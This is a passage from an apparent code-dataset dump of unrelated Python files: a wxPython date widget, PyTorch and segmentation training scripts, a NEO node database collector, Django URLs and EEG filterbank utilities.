self.Bind(EVT_PARAM_CHANGED, self.on_date_changed)\n self.SetSizer(s)\n \n def on_date_changed(self, evt): \n if evt: evt.Skip()\n from_, to = self.GetValue()\n if from_ > to:\n self.SetValue((to, to))\n \n def SetBounds(self, bounds):\n if bounds is None: return\n self.period_from.SetBounds(bounds)\n self.period_to.SetBounds(bounds)\n \n def SetValue(self, val):\n self.period_from.SetValue(val[0])\n self.period_to.SetValue(val[1])\n\n def GetValue(self):\n return self.period_from.GetValue(), self.period_to.GetValue()\n \ndef period(parent): return PeriodWidget(parent)\n\n\n# 'fixed period family' type input parameters ==================================\nfrom math import ceil\nclass FixedPeriodWidget(wx.Panel):\n months = 'January February March April May June July August September October November December'.split()\n spans = ',, bimester, trimester, quadrimester,, semester'.split(',')\n def __init__(self, *a, **k):\n self.period = k.pop('period')\n wx.Panel.__init__(self, *a, **k)\n if self.period == 1:\n ch = self.months\n else:\n ch = [str(i)+self.spans[self.period] for i in range(1, (12/self.period)+1)]\n self.division = wx.ComboBox(self, -1, choices=ch, \n style=wx.CB_DROPDOWN|wx.CB_READONLY)\n self.year = wx.SpinCtrl(self, min=1800, max=2200, size=((80, -1)))\n s = wx.BoxSizer()\n s.Add(self.division, 1, wx.EXPAND|wx.RIGHT, 5)\n s.Add(self.year, 0, wx.FIXED_MINSIZE|wx.LEFT, 5)\n self.SetSizer(s)\n self.Bind(wx.EVT_COMBOBOX, self.on_changed, self.division)\n self.Bind(wx.EVT_SPINCTRL, self.on_changed, self.year)\n \n def on_changed(self, evt):\n evt.SetEventObject(self)\n post_evt_param_changed(evt)\n \n def GetValue(self):\n start = datetime.date(\n self.year.GetValue(), \n ((self.period * self.division.GetSelection()) + 1),\n 1)\n end = ((start + \n datetime.timedelta(days=(30*self.period)+15)).replace(day=1) - \n datetime.timedelta(days=1))\n return start, end\n \n def SetValue(self, val):\n self.year.SetValue(val.year)\n self.division.SetSelection(int(ceil(float(val.month)/self.period))-1)\n \n def SetBounds(self, bounds): \n if bounds is None: return\n try: min = bounds[0].year\n except AttributeError: min=None\n try: max = bounds[1].year\n except AttributeError: max=None\n self.year.SetRange(min, max)\n\n\ndef _fixed_period(period, parent): return FixedPeriodWidget(parent, period=period)\n\ndef month(parent): return _fixed_period(1, parent)\ndef bimester(parent): return _fixed_period(2, parent)\ndef trimester(parent): return _fixed_period(3, parent)\ndef quadrimester(parent): return _fixed_period(4, parent)\ndef semester(parent): return _fixed_period(6, parent)\n\n\n","sub_path":"quickreport/param_types.py","file_name":"param_types.py","file_ext":"py","file_size_in_byte":17240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"249356939","text":"import os\nimport time\nimport math\nimport logging\nimport datetime\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\n\nfrom src import dataset, models, utils\n\n\nlogger = logging.getLogger('main')\n\n\nargs = {\n 'exp_id': 'p1_baseline',\n 'model': 'baseline',\n\n 'test': False,\n 'resume': None,\n\n 'out_path': 'results',\n\n 'trainset': './canvas/social-checkin-prediction/train.csv',\n 'valset': './canvas/social-checkin-prediction/validation.csv',\n 'testset': './canvas/social-checkin-prediction/test.csv',\n 'data_workers': 1, \n 'map_size': (2915, 1982),\n \n 'epochs': 40,\n 'batch_size': 64,\n\n 'lr':0.01,\n 'lr_decay': 0.1,\n 'lr_steps': 0.25,\n\n 'loc_scale': 10,\n 'time_scale': 1, \n\n 'val_freq': 1, \n 'log_freq': 100,\n 'checkpoint_freq': 10,\n}\n\n\ndef main():\n logger.info('--- experiment: {0} ---\\n'.format(args['exp_id']))\n\n # prepare path\n args['out_path'] = \"{root}/{exp_id}/{date:%Y-%m-%d_%H:%M:%S}/\".format(\n root=args['out_path'], exp_id=args['exp_id'], date=datetime.datetime.now())\n logger.info('experiment folder: \\n {0} \\n'.format(args['out_path']))\n\n checkpoint_path = os.path.join(args['out_path'], 'ckpt')\n if not os.path.exists(checkpoint_path):\n os.makedirs(checkpoint_path)\n\n # handle multiply GPUs\n gpu_num = torch.cuda.device_count()\n logger.info('GPU: \\n total GPU(s): {0}'.format(gpu_num))\n if gpu_num < 1:\n logger.error(' no GPU be detected')\n\n args['lr'] *= gpu_num\n args['batch_size'] *= gpu_num\n args['data_workers'] *= gpu_num\n logger.info(' total learn rate: {0}\\n'\n ' total batch size: {1}\\n'\n ' total data workers: {2}\\n'\n .format(args['lr'], args['batch_size'], args['data_workers']))\n\n # create dataloader\n trainset = dataset.CheckInDataset(args['trainset'], map_size=args['map_size'])\n valset = dataset.CheckInDataset(args['valset'], map_size=args['map_size'])\n testset = dataset.CheckInDataset(args['testset'], map_size=args['map_size'])\n\n train_loader = torch.utils.data.DataLoader(trainset, batch_size=args['batch_size'], shuffle=True,\n num_workers=args['data_workers'], pin_memory=True, drop_last=True)\n val_loader = torch.utils.data.DataLoader(valset, batch_size=args['batch_size'], shuffle=False,\n num_workers=args['data_workers'], pin_memory=True)\n test_loader = torch.utils.data.DataLoader(testset, batch_size=args['batch_size'], shuffle=False,\n num_workers=args['data_workers'], pin_memory=True)\n\n # create network\n model = models.__dict__[args['model']]()\n model = nn.DataParallel(model)\n model = model.cuda()\n logger.info('model: \\n {0}\\n'.format(args['model']))\n logger.info(models.model_str(model))\n\n # create optimizer\n optimizer = optim.Adam(model.parameters(), lr=args['lr'])\n lr_scheduler = optim.lr_scheduler.StepLR(\n optimizer, step_size=int(args['lr_steps'] * args['epochs']), gamma=args['lr_decay'])\n\n # load state from checkpoint\n start_epoch = 0\n if args['resume'] is not None: \n logger.info('load checkpoint: ' + args['resume'])\n checkpoint = torch.load(args['resume'])\n start_epoch = checkpoint['epoch']\n model.load_state_dict(checkpoint['model'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\n\n if args['test']:\n logger.info('--- start to test model ---')\n test(model, test_loader, 0)\n return\n\n # main training loop\n for epoch in range(start_epoch, args['epochs']):\n logger.info('--- start to train epoch: {0} ---'.format(epoch))\n timer = time.time()\n\n train(model, train_loader, optimizer, epoch)\n\n if epoch % args['val_freq'] == 0:\n logger.info('--- start to test epoch: {0} ---'.format(epoch))\n test(model, test_loader, epoch)\n\n if epoch % args['checkpoint_freq'] == 0:\n state = {\n 'epoch': epoch + 1,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'lr_scheduler': lr_scheduler.state_dict()\n }\n\n state_file = os.path.join(checkpoint_path, 'checkpoint.{0}.ckpt'.format(epoch))\n logger.info(\"--- checkpoint saved to %s ---\" % state_file)\n torch.save(state, state_file)\n\n lr_scheduler.step()\n logger.info('--- epoch in {} seconds ---\\n'.format(time.time() - timer))\n\n\ndef train(model, train_loader, optimizer, epoch):\n meters = utils.AverageMeterSet()\n\n mse_loss = nn.MSELoss()\n\n model.train()\n for idx, (user_id, in_data, gt_data) in enumerate(train_loader):\n timer = time.time()\n optimizer.zero_grad()\n \n user_id = Variable(user_id).cuda()\n in_data = Variable(in_data).cuda()\n gt_data = Variable(gt_data).cuda()\n \n pred_loc, pred_time = model.forward(in_data)\n\n gt_loc = gt_data[:, 0:2]\n gt_time = gt_data[:, 2:]\n\n loc_loss = args['loc_scale'] * mse_loss(pred_loc, gt_loc)\n time_loss = args['time_scale'] * mse_loss(pred_time, gt_time)\n meters.update('loc_loss', loc_loss.data)\n meters.update('time_loss', time_loss.data)\n\n loss = loc_loss + time_loss\n loss.backward()\n optimizer.step()\n\n meters.update('batch_time', time.time() - timer)\n if idx % args['log_freq'] == 0:\n logger.info('step: [{0}][{1}/{2}]\\t'\n 'loc_loss: {meters[loc_loss]:.4f}\\t'\n 'time_loss: {meters[time_loss]:.4f}\\t'\n .format(epoch, idx, len(train_loader), meters=meters))\n\n\ndef test(model, val_loader, epoch):\n\n \"\"\"\n Takes entire batch of results and compute the SAD\n \"\"\"\n def getSAD(vec1, vec2):\n return torch.mean(torch.abs(vec1.data - vec2.data))\n\n meters = utils.AverageMeterSet()\n\n model.eval()\n for idx, (user_id, in_data, gt_data) in enumerate(val_loader):\n timer = time.time()\n\n user_id = Variable(user_id).cuda()\n in_data = Variable(in_data).cuda()\n gt_data = Variable(gt_data).cuda()\n\n pred_loc, pred_time = model.forward(in_data)\n\n gt_loc = gt_data[:, 0:2]\n gt_time = gt_data[:, 2:]\n\n loc_l1 = getSAD(pred_loc, gt_loc)\n time_l1 = getSAD(pred_time, gt_time)\n \n meters.update('loc_l1', loc_l1)\n meters.update('time_l1', time_l1)\n\n meters.update('batch_time', time.time() - timer)\n if idx % args['log_freq'] == 0:\n logger.info('step: [{0}][{1}/{2}]\\t'\n 'loc_l1: {meters[loc_l1]:.4f}\\t'\n 'time_l1: {meters[time_l1]:.4f}\\t'\n .format(epoch, idx, len(val_loader), meters=meters))\n\n logger.info('--- finish test ---\\n'\n 'loc_l1: {meters[loc_l1]:.4f}\\t'\n 'time_l1: {meters[time_l1]:.4f}\\t'\n .format(epoch, idx, len(val_loader), meters=meters))\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO, format='%(message)s')\n \n main()","sub_path":"assignment2/scripts/p1_baseline.py","file_name":"p1_baseline.py","file_ext":"py","file_size_in_byte":7380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"444309262","text":"from wxpy import *\nfrom configparser import ConfigParser\nfrom General import General\nfrom tkinter import Tk\nfrom tkinter.messagebox import showinfo\nimport threading\nimport pyaudio\nimport wave\n\ncfg = General.get_config()[0]\n\ndef continuous_output(text):\n print(text)\n\ndef final_output(text):\n from_ = cfg.get('Notify', 'Mail_from')\n pwd = cfg.get('Notify', 'Password')\n to = cfg.get('Notify', 'Mail_to')\n mail = Mail(from_, pwd, to)\n\ndef play_audio(filename):\n CHUNK = 1024\n wf = wave.open(filename, 'rb')\n p = pyaudio.PyAudio()\n stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),\n channels=wf.getnchannels(),\n rate=wf.getframerate(),\n output=True)\n data = wf.readframes(CHUNK)\n while data != b'':\n stream.write(data)\n data = wf.readframes(CHUNK)\n stream.stop_stream()\n stream.close()\n p.terminate()\n\ndef play_audio_async(filename):\n do_therad = threading.Thread(target=play_audio, args=[filename])\n do_therad.start()\n\ndef show_messagebox(text):\n root = Tk()\n root.withdraw()\n showinfo(message = text)\n root.destroy()\n\ndef show_messagebox_async(text):\n do_therad = threading.Thread(target=show_messagebox, args=[text])\n do_therad.start()\n\nclass Robot:\n def __init__(self):\n self.cfg = ConfigParser()\n self.cfg.read('.config.ini', encoding='utf8')\n try:\n self.bot = Bot(cache_path=True, console_qr=2)\n except:\n print('此账号已被列入黑名单,无法登陆!')\n\n # @self.bot.register(my_friend)\n def reply_my_friend(msg):\n return 'received: {} ({})'.format(msg.text, msg.type)\n\n\nclass Mail:\n def __init__(self, from_, psw, to):\n pass\n\n\nif __name__ == '__main__':\n a = Robot()\n","sub_path":"Notify.py","file_name":"Notify.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"278380729","text":"import psycopg2\nimport requests\nimport json\nimport time\nimport socket\nimport dns.resolver\nimport socket\nimport os\nimport requests\nimport time\n\nresolver = dns.resolver.Resolver(configure=False)\nresolver.nameservers = [\"208.67.222.222\", \"208.67.220.220\", '8.8.8.8', '2001:4860:4860::8888',\n '8.8.4.4', '2001:4860:4860::8844']\n\nhost = str(os.environ['PGHOST'])\ndatabasename = str(os.environ['PGDATABASE'])\nuser = str(os.environ['PGUSER'])\npassword = str(os.environ['PGPASSWORD'])\n\nconnection_str = \"dbname='{}' user='{}' host='{}' password='{}'\".format(\n databasename, user, host, password)\n# connection_str = \"dbname='{}' user='{}' host='localhost' password='{}'\".format(\n# databasename, user, host, password)\n\nprint(connection_str)\n\ndef get_coz_mainnet_json():\n r = requests.get(\n 'https://raw.githubusercontent.com/CityOfZion/neo-mon/master/docs/assets/mainnet.json')\n return json.loads(r.text)\n\ndef get_existing_nodes(cursor):\n # For mainnet json, we use hostname to check whether a node\n # exists in our database, since there is a chance that \n # that a node has multiple ips for load-balancing\n nodes_dict = {}\n cursor.execute(\"select id, hostname, ip from nodes\")\n results = cursor.fetchall()\n\n for id, hostname, ip in results:\n nodes_dict[hostname] = (id, hostname, ip)\n\n return nodes_dict\n\ndef get_existing_connections(cursor):\n connections_dict = {}\n cursor.execute(\"select id, hostname, node_id, protocol, port from connection_endpoints\")\n\n results = cursor.fetchall()\n\n for id, hostname, node_id, protocol, port in results:\n connections_dict[hostname] = (id, hostname, node_id, protocol, port)\n\n return connections_dict\n\n\ndef create_or_update_nodes_rows(cursor, data):\n key = 0\n for endpoint in data[\"sites\"]:\n if endpoint[\"type\"] == \"RPC\":\n hostname = endpoint[\"url\"].split(\"//\")[-1].split(\":\")[0]\n ip = socket.gethostbyname(endpoint[\"url\"])\n\n nodes_dict = get_existing_nodes(cursor)\n \n if hostname not in nodes_dict:\n # add new rows in nodes\n print(\"insert new rows into nodes table. hostname: {} ip: {}\".format(hostname, ip))\n cursor.execute(\n \"INSERT INTO nodes (hostname, ip) VALUES (%s, %s)\", [hostname, ip])\n else:\n (id, hostnameFromDatabase, ipFromDatabase) = nodes_dict[hostname]\n\n if ipFromDatabase!=ip:\n # IP has changes, some nodes uses loadbalancing and changes their ip all the time\n print(\"update node's ip. hostname: {} id: {} ipFromDatabase: {} ip:{}\".format(hostname, id, ipFromDatabase, ip))\n cursor.execute(\"UPDATE nodes SET ip=%s WHERE id=%s;\", [ip, id])\n \ndef check_mainnet_json(data):\n # Check if the mainnet has the correct key and structure that is expected\n if \"sites\" not in data or \"name\" not in data or \"pollTime\" not in data:\n return False\n \n for site in data[\"sites\"]:\n if \"url\" not in site or \"locale\" not in site or \"location\" not in site or \"type\" not in site:\n return False\n return True\n\ndef create_connectionendpoints_rows(cursor, data):\n key = 0\n for endpoint in data[\"sites\"]:\n if endpoint[\"type\"] == \"RPC\":\n hostname = endpoint[\"url\"].split(\"//\")[-1].split(\":\")[0]\n ip = socket.gethostbyname(endpoint[\"url\"])\n\n nodes_dict = get_existing_nodes(cursor)\n\n (node_id, hostnameFromDatabase, ipFromDatabase) = nodes_dict[hostname]\n\n protocol = endpoint[\"protocol\"]\n port = endpoint[\"port\"] if \"port\" in endpoint else 10332\n\n cursor.execute(\"SELECT id, node_id, protocol, port FROM public.connection_endpoints where node_id=%s and protocol=%s and port=%s\", [int(node_id),str(protocol),int(port)])\n\n rows = cursor.fetchall()\n\n if len(rows)==0:\n # this connection endpoints does not exist in the database\n print(\"insert into connection endpoints, hostname:{} node_id: {} protocol: {} port: {}\".format(hostname, int(node_id), str(protocol), int(port)))\n cursor.execute(\"INSERT INTO public.connection_endpoints (node_id, protocol, port) VALUES (%s, %s, %s) RETURNING id\", [int(node_id), str(protocol), int(port)])\n\n lastid = cursor.fetchone()[0]\n\n cursor.execute(\"INSERT INTO locale (connection_id, locale) VALUES (%s, %s)\", [\n lastid, endpoint[\"locale\"]])\n cursor.execute(\"INSERT INTO location (connection_id, location) VALUES (%s, %s)\", [\n lastid, endpoint[\"location\"]])\n\n response = requests.get(\"https://geoip.nekudo.com/api/\"+ip)\n json_data = json.loads(response.text)\n\n lat = json_data[\"location\"]['latitude']\n long = json_data[\"location\"]['longitude']\n\n cursor.execute(\"INSERT INTO coordinates (connection_id, lat, long) VALUES (%s, %s, %s)\", [lastid, lat, long])\n \nif __name__ == \"__main__\":\n while True:\n connect_str = connection_str\n\n conn = psycopg2.connect(connect_str)\n\n cursor = conn.cursor()\n\n data = get_coz_mainnet_json()\n\n if check_mainnet_json(data):\n create_or_update_nodes_rows(cursor, data)\n conn.commit()\n\n create_connectionendpoints_rows(cursor, data)\n conn.commit()\n\n cursor.close()\n conn.close()\n else:\n raise ValueError(\"mainnet.json file is not in the right format\")\n\n\n # sleep for a day\n time.sleep(60*60*24)\n\n\n","sub_path":"neo-collector/create/createOrUpdatePrimaryTables.py","file_name":"createOrUpdatePrimaryTables.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"31625205","text":"#-*- coding:utf-8 -*-\nfrom django.conf.urls import *\nfrom blog.views import *\nfrom blog.models import LatestArticlesFeed\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n (r'^$', home),\n (r'^category/(?P.+)/$', home),\n (r'^archive/(?P.+)/$', home),\n (r'^tag/(?P.+)/$', home),\n (r'^article/(?P\\d+)/$', detail),\n (r'^comment/(?P\\d+)/$', comment),\n (r'^fvck@dm!n/', include(admin.site.urls)),\n (r\"^feeds/$\", LatestArticlesFeed()),\n (r\"^pre-view/$\", pre_view),\n (r\"^resume/$\", resume),\n (r\"^today-visitors/$\", today_visitors),\n (r\"^online-visitors/$\", online_visitors),\n (r\"^visit-count/$\", visit_count),\n (r\"^alipay/$\", alipay),\n (r\"^auth-xss/$\", auth_xss),\n )\n","sub_path":"ashin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"232171644","text":"import os\nimport sys\nimport warnings\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASE_DIR)\nwarnings.filterwarnings('ignore')\n\nimport argparse\nimport functools\nimport time\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom simpleAICV.segmentation.common import SegmentationCollater\n\nfrom tools.scripts import train_segmentation, compute_segmentation_test_loss\nfrom tools.utils import (get_logger, set_seed, worker_seed_init_fn,\n compute_flops_and_params, build_optimizer,\n build_scheduler, build_training_mode)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='PyTorch Detection Model Training')\n parser.add_argument(\n '--work-dir',\n type=str,\n help='path for get training config and saving log/models')\n parser.add_argument(\n '--local_rank',\n type=int,\n default=0,\n help='LOCAL_PROCESS_RANK in DistributedDataParallel model')\n\n return parser.parse_args()\n\n\ndef main():\n assert torch.cuda.is_available(), 'need gpu to train network!'\n torch.cuda.empty_cache()\n\n args = parse_args()\n sys.path.append(args.work_dir)\n from train_config import config\n log_dir = os.path.join(args.work_dir, 'log')\n checkpoint_dir = os.path.join(args.work_dir, 'checkpoints')\n resume_model = os.path.join(checkpoint_dir, 'latest.pth')\n\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n\n global logger\n logger = get_logger('train', log_dir)\n\n set_seed(config.seed)\n\n local_rank = args.local_rank\n # start init process\n if config.distributed:\n torch.distributed.init_process_group(backend='nccl',\n init_method='env://')\n torch.cuda.set_device(local_rank)\n\n init_fn = functools.partial(worker_seed_init_fn,\n num_workers=config.num_workers,\n local_rank=local_rank,\n seed=config.seed)\n train_sampler = torch.utils.data.distributed.DistributedSampler(\n config.train_dataset, shuffle=True) if config.distributed else None\n collater = SegmentationCollater()\n train_loader = DataLoader(config.train_dataset,\n batch_size=config.batch_size,\n shuffle=(train_sampler is None),\n pin_memory=True,\n num_workers=config.num_workers,\n collate_fn=collater.next,\n sampler=train_sampler,\n worker_init_fn=init_fn)\n val_sampler = torch.utils.data.distributed.DistributedSampler(\n config.val_dataset, shuffle=False) if config.distributed else None\n val_loader = DataLoader(config.val_dataset,\n batch_size=config.batch_size,\n shuffle=False,\n pin_memory=True,\n num_workers=config.num_workers,\n collate_fn=collater.next,\n sampler=val_sampler)\n\n for key, value in config.__dict__.items():\n if not key.startswith('__'):\n if key not in [\n 'model', 'criterion', 'decoder', 'train_dataset',\n 'val_dataset'\n ]:\n log_info = f'{key}: {value}'\n logger.info(log_info) if (\n config.distributed\n and local_rank == 0) or not config.distributed else None\n\n gpus_type, gpus_num = torch.cuda.get_device_name(\n ), torch.cuda.device_count()\n log_info = f'gpus_type: {gpus_type}, gpus_num: {gpus_num}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n model = config.model.cuda()\n criterion = config.criterion.cuda()\n decoder = config.decoder.cuda()\n\n # parameters needs to be updated by the optimizer\n # buffers doesn't needs to be updated by the optimizer\n for name, param in model.named_parameters():\n log_info = f'name: {name}, grad: {param.requires_grad}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n for name, buffer in model.named_buffers():\n log_info = f'name: {name}, grad: {buffer.requires_grad}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n optimizer = build_optimizer(config, model)\n scheduler = build_scheduler(config, optimizer)\n model = build_training_mode(config, model, optimizer)\n\n start_epoch = 1\n # automatically resume model for training if checkpoint model exist\n if os.path.exists(resume_model):\n checkpoint = torch.load(resume_model, map_location=torch.device('cpu'))\n model.load_state_dict(checkpoint['model_state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n scheduler.load_state_dict(checkpoint['scheduler_state_dict'])\n saved_epoch = checkpoint['epoch']\n start_epoch += saved_epoch\n test_loss, lr = checkpoint['test_loss'], checkpoint['lr']\n\n log_info = f'resuming model from {resume_model}. resume_epoch: {saved_epoch}, test_loss: {test_loss:.4f}, lr: {lr:.6f}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n # calculate training time\n start_time = time.time()\n best_test_loss = 100000000.\n\n for epoch in range(start_epoch, config.epochs + 1):\n torch.cuda.empty_cache()\n train_sampler.set_epoch(epoch) if config.distributed else None\n loss = train_segmentation(train_loader, model, criterion, optimizer,\n scheduler, epoch, logger, config)\n log_info = f'train: epoch {epoch:0>3d}, total_loss: {loss:.4f}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n test_loss = None\n if epoch in config.eval_epoch or epoch == config.epochs:\n test_loss = compute_segmentation_test_loss(val_loader, model,\n criterion)\n log_info = f'eval: epoch: {epoch:0>3d}, test_loss: {test_loss:.4f}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n if (config.distributed and local_rank == 0) or not config.distributed:\n # save best test loss model and each epoch checkpoint\n if test_loss and test_loss < best_test_loss:\n torch.save(model.module.state_dict(),\n os.path.join(checkpoint_dir, 'best.pth'))\n best_test_loss = test_loss\n\n torch.save(\n {\n 'epoch': epoch,\n 'test_loss': best_test_loss,\n 'lr': scheduler.get_lr()[0],\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'scheduler_state_dict': scheduler.state_dict(),\n }, os.path.join(checkpoint_dir, 'latest.pth'))\n\n if (config.distributed and local_rank == 0) or not config.distributed:\n if os.path.exists(os.path.join(checkpoint_dir, 'best.pth')):\n os.rename(\n os.path.join(checkpoint_dir, 'best.pth'),\n os.path.join(\n checkpoint_dir,\n f'{config.network}-epoch{epoch}-best_test_loss{best_test_loss:.3f}.pth'\n ))\n\n training_time = (time.time() - start_time) / 3600\n flops, params = compute_flops_and_params(config, model)\n log_info = f'train done. model: {config.network}, flops: {flops}, params: {params}, training time: {training_time:.3f} hours, best_test_loss: {best_test_loss:.3f}'\n logger.info(log_info) if (config.distributed and local_rank\n == 0) or not config.distributed else None\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/train_segmentation_model.py","file_name":"train_segmentation_model.py","file_ext":"py","file_size_in_byte":8389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"78410695","text":"import os\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\n\nsource_path = '/gpfs/exfel/data/user/juncheng/crystalProject/data/simulation/source'\nsource_name = 'g8_0kev.h5'\ndest_name = source_name\n#dest_name = os.path.basename(source_name)+'-t.h5'\nos.chdir(source_path)\n#copyfile(source_name, dest_name)\n\n\ndef checkNval(source_name): \n with h5py.File(source_name,'r') as f:\n print ('arrEhor Shape:', f['data/arrEhor'].shape)\n print ('nVal =',f['params/nval'][...])\n f.close()\n\ndef figProj(data,extent):\n # extent = [xMin, xMax, yMin, yMax]\n figure = plt.figure(figsize=(10, 10), dpi=100)\n plt.axis('tight')\n profile = plt.subplot2grid((3, 3), (1, 0), colspan=2, rowspan=2)\n profile.imshow(data, extent=extent)\n\n x = np.linspace(extent[0],extent[1],data.shape[1])\n y = np.linspace(extent[2],extent[3],data.shape[0])\n\n # x-projection plots above main plot.\n x_projection = plt.subplot2grid((3, 3), (0, 0), sharex=profile, colspan=2)\n x_projection.plot(x, np.sum(data,axis=0), label='x projection')\n # y-projection plot right of main plot.\n y_projection = plt.subplot2grid((3, 3), (1, 2), rowspan=2, sharey=profile)\n y_projection.plot(np.sum(data,axis=0), y, label='y projection')\n plt.minorticks_off()\n profile.set_xlim([extent[0], extent[1]])\n profile.set_ylim([extent[2], extent[3]])\n\n return (figure,profile,x_projection,y_projection)\n\n\n#%%\n# Create .h5 file\nwith h5py.File(dest_name, 'a') as f:\n try: \n del f['/params/wEFieldUnit']\n except:\n pass\n dt = h5py.string_dtype(encoding='ascii')\n f.create_dataset('/params/wEFieldUnit',(1,), dtype= dt , data= 'sqrt(W/mm^2)')\n f.flush()\n f.close()\n","sub_path":"src/controller/singFEL/sourceUnit.py","file_name":"sourceUnit.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"211847342","text":"# -*- coding: utf-8 -*-\n#\n# Authors: Swolf \n# Date: 2021/1/07\n# License: MIT License\nfrom typing import Optional, List, Tuple\n\nimport numpy as np\nfrom numpy import ndarray\nfrom scipy.linalg import solve\nfrom scipy.signal import sosfiltfilt, cheby2, cheb2ord, cheby1, cheb1ord\nfrom sklearn.base import BaseEstimator, TransformerMixin, clone\n\ndef robust_pattern(W: ndarray, Cx: ndarray, Cs: ndarray) -> ndarray:\n \"\"\"Transform spatial filters to spatial patterns based on paper [1]_.\n\n Parameters\n ----------\n W : ndarray\n Spatial filters, shape (n_channels, n_filters).\n Cx : ndarray\n Covariance matrix of eeg data, shape (n_channels, n_channels).\n Cs : ndarray\n Covariance matrix of source data, shape (n_channels, n_channels).\n\n Returns\n -------\n A : ndarray\n Spatial patterns, shape (n_channels, n_patterns), each column is a spatial pattern.\n\n References\n ----------\n .. [1] Haufe, Stefan, et al. \"On the interpretation of weight vectors of linear models in multivariate neuroimaging.\" Neuroimage 87 (2014): 96-110.\n \"\"\"\n # use linalg.solve instead of inv, makes it more stable\n # see https://github.com/robintibor/fbcsp/blob/master/fbcsp/signalproc.py\n # and https://ww2.mathworks.cn/help/matlab/ref/mldivide.html\n A = solve(Cs.T, np.dot(Cx, W).T).T\n return A \n\nclass FilterBank(BaseEstimator, TransformerMixin):\n def __init__(self, base_estimator: Optional[BaseEstimator] = None,\n filterbank: Optional[List[ndarray]] = None):\n self.base_estimator = base_estimator\n self.filterbank = filterbank\n\n def fit(self, X: ndarray, y: ndarray):\n # transform filterbank\n X = self.transform_filterbank(X)\n self.estimators_ = [\n clone(self.base_estimator) for _ in range(len(X))]\n for i, estimator in enumerate(self.estimators_):\n estimator.fit(X[i], y)\n return self\n\n def transform(self, X: ndarray):\n X = self.transform_filterbank(X)\n features = np.concatenate(\n [est.transform(X[i]) for i, est in enumerate(self.estimators_)], axis=-1)\n return features\n\n def _check_filterbank(self):\n if hasattr(self, 'filterbank') and isinstance(self.filterbank, list):\n if self.filterbank[0].ndim != 2 or self.filterbank[0].shape[1] != 6:\n raise ValueError(\"only sos coefficients supported.\")\n return True\n return False\n\n def transform_filterbank(self, X: ndarray):\n if self._check_filterbank():\n Xs = np.stack([sosfiltfilt(sos, X, axis=-1) for sos in self.filterbank])\n return Xs\n else:\n return X[np.newaxis, ...]\n\ndef generate_filterbank(\n passbands: List[Tuple[float, float]],\n stopbands: List[Tuple[float, float]],\n srate: int):\n filterbank = []\n for wp, ws in zip(passbands, stopbands):\n # N, wn = cheb2ord(wp, ws, 3, 40, fs=srate)\n # sos = cheby2(N, 0.5, wn, btype='bandpass', output='sos', fs=srate)\n N, wn = cheb1ord(wp, ws, 3, 40, fs=srate)\n sos = cheby1(N, 0.5, wn, btype='bandpass', output='sos', fs=srate)\n\n filterbank.append(sos)\n return filterbank\n\ndef generate_cca_references(freqs, srate, T, \n phases: Optional[ndarray] = None,\n n_harmonics: int = 1):\n if isinstance(freqs, int) or isinstance(freqs, float):\n freqs = [freqs] \n freqs = np.array(freqs)[:, np.newaxis]\n if phases is None:\n phases = 0\n if isinstance(phases, int) or isinstance(phases, float):\n phases = [phases] \n phases = np.array(phases)[:, np.newaxis]\n t = np.linspace(0, T, int(T*srate))\n\n Yf = []\n for i in range(n_harmonics):\n Yf.append(np.stack([\n np.sin(2*np.pi*(i+1)*freqs*t + np.pi*phases),\n np.cos(2*np.pi*(i+1)*freqs*t + np.pi*phases)], axis=1))\n Yf = np.concatenate(Yf, axis=1)\n return Yf\n\ndef sign_flip(u, s, vh=None):\n \"\"\"Flip signs of SVD or EIG using the method in paper [1]_.\n\n Parameters\n ----------\n u: ndarray\n left singular vectors, shape (M, K).\n s: ndarray\n singular values, shape (K,).\n vh: ndarray or None\n transpose of right singular vectors, shape (K, N).\n\n Returns\n -------\n u: ndarray\n corrected left singular vectors.\n s: ndarray\n singular values.\n vh: ndarray\n transpose of corrected right singular vectors.\n\n References\n ----------\n .. [1] https://www.sandia.gov/~tgkolda/pubs/pubfiles/SAND2007-6422.pdf\n \"\"\"\n if vh is None:\n total_proj = np.sum(u*s, axis=0)\n signs = np.sign(total_proj)\n \n random_idx = (signs==0)\n if np.any(random_idx):\n signs[random_idx] = 1\n 